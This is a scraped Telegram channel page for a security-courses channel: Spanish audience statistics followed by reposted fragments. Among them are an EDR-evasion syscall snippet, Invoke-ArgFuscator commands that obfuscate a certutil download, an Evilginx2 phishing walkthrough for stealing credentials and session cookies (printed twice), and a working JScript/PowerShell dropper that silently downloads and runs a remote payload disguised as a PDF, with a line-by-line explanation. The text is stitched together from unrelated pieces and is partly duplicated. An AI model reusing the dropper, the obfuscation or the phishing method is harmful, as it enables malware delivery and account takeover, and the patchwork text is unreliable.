All Security Engineering Courses
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
Mostrar más📈 Análisis del canal de Telegram All Security Engineering Courses
El canal All Security Engineering Courses (@allsecurityengineeringcourses) en el segmento lingüístico de Inglés es un actor destacado. Actualmente la comunidad reúne a 18 817 suscriptores, ocupando la posición 7 138 en la categoría Tecnologías y Aplicaciones y el puesto 35 862 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 18 817 suscriptores.
Según los últimos datos del 19 junio, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 133, y en las últimas 24 horas de 6, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 11.29%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 2.64% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 2 125 visualizaciones. En el primer día suele acumular 496 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 3.
- Intereses temáticos: El contenido se centra en temas clave como git, strace, github, linux, docker.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 20 junio, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
This Web3.js course is designed for programmers and developers who want to take a comprehensive deep dive in building decentralized applications(dapp). This course provides detailed overviews of web3.js library and how to use web3.js library in order to interact with the blockchain and smart contract. In this course we are not just going to talk about Web3.js theory but also we are going to create a mini decentralized application (dapp) for practical.
K8_SYSCALL("ZwOpenProcess", ...) instead of NtOpenProcess.
You have built a system that :
1 - Does not scan .text (Sorting Hat logic on Exports).
2 - Does not execute syscall locally (Lateral Gadget execution).
3 - Does not leave traces (Clean Call Stacks).Install-Module -Name Invoke-ArgFuscator
Import-Module Invoke-ArgFuscator
Invoke-ArgFuscator -Command 'certutil /f /urlcache https://www.example.org/ homepage.txt'
Invoke-ArgFuscator -InputFile path\to\file.json
😹 Offline version
#windows #obfuscator #redteam
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🫂Whatsapp community🫂 :https://whatsapp.com/channel/0029Vb7WAkz4tRrkdnGzzy25https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page.
2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com).
3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server.
4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim.
Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com).
5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password.
6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend.
Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect).
7. The Theft (Step 7 - The "Gold") ✅™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie.
This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again.
8. The Clean Exit (Step 8) 💻🏃♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page.
2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com).
3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server.
4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim.
Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com).
5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password.
6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend.
Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect).
7. The Theft (Step 7 - The "Gold") ✅™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie.
This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again.
8. The Clean Exit (Step 8) 💻🏃♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.ghi = new ActiveXObject('Shell.Application');
ghi['ShellExecute']("powershell", '-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://decjan2026.blogspot.com/////////nipoli.pdf); Start-Sleep -Seconds 17', "", "open", 0);
🔎 Step-by-Step What It Does:
1️⃣Creates Shell.Application COM Object:
▶️new ActiveXObject('Shell.Application') → Instantiates the Windows Shell COM object (progid: Shell.Application).
▶️This is a legitimate object for file operations, but abused here for silent process creation.
2️⃣Obfuscated ShellExecute Call:
▶️Uses bracket notation ['ShellExecute'] instead of dot (minor obfuscation to evade simple string scans).
▶️Launches PowerShell with:
▶️-ep Bypass: Sets ExecutionPolicy to Bypass (ignores script signing restrictions).
▶️-c: Command mode.
3️⃣Inside the PowerShell Command:
▶️Forces TLS 1.2 for downloads: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
▶️Ensures compatibility with modern HTTPS sites (bypasses older protocol blocks).
▶️ Downloads & Executes Remote Script:
▶️Invoke-Expression (Invoke-RestMethod https://decjan2026.blogspot.com/////////nipoli.pdf)
▶️ Alias: IEX (IRM ...)
▶️ Fetches content from that Blogger URL (masquerading as a ".pdf" to look innocent) and executes it directly in memory.
▶️ Extra slashes (/////////) are ignored by HTTP — classic URL padding to evade filters.
▶️Start-Sleep -Seconds 17: Delays 17 seconds (likely to evade timed sandbox detection or give payload time to run).
4️⃣ Execution Flags:
▶️Window style 0: Runs PowerShell completely hidden (no visible window).
▶️Verb "open": Standard launch.
🧠 Why This Is Sneaky (2025 Context):
▶️Fileless & Silent: No disk writes initially — downloads straight to memory via IRM + IEX.
▶️Legacy Abuse: ActiveXObject + ShellExecute is ancient (IE-era JScript/WScript), but still works in hta/js/vbs dropped via phishing.
▶️PDF Lure: Filename "nipoli.pdf" tricks users/filters into thinking it's a harmless document.
💡 Pro Tip:
This works because many orgs still allow WSH/JScript execution. Disable Windows Script Host via GPO if possible, or use AppLocker/Script Block Logging.
¡Ya disponible! Investigación de Telegram 2025 — los principales insights del año 
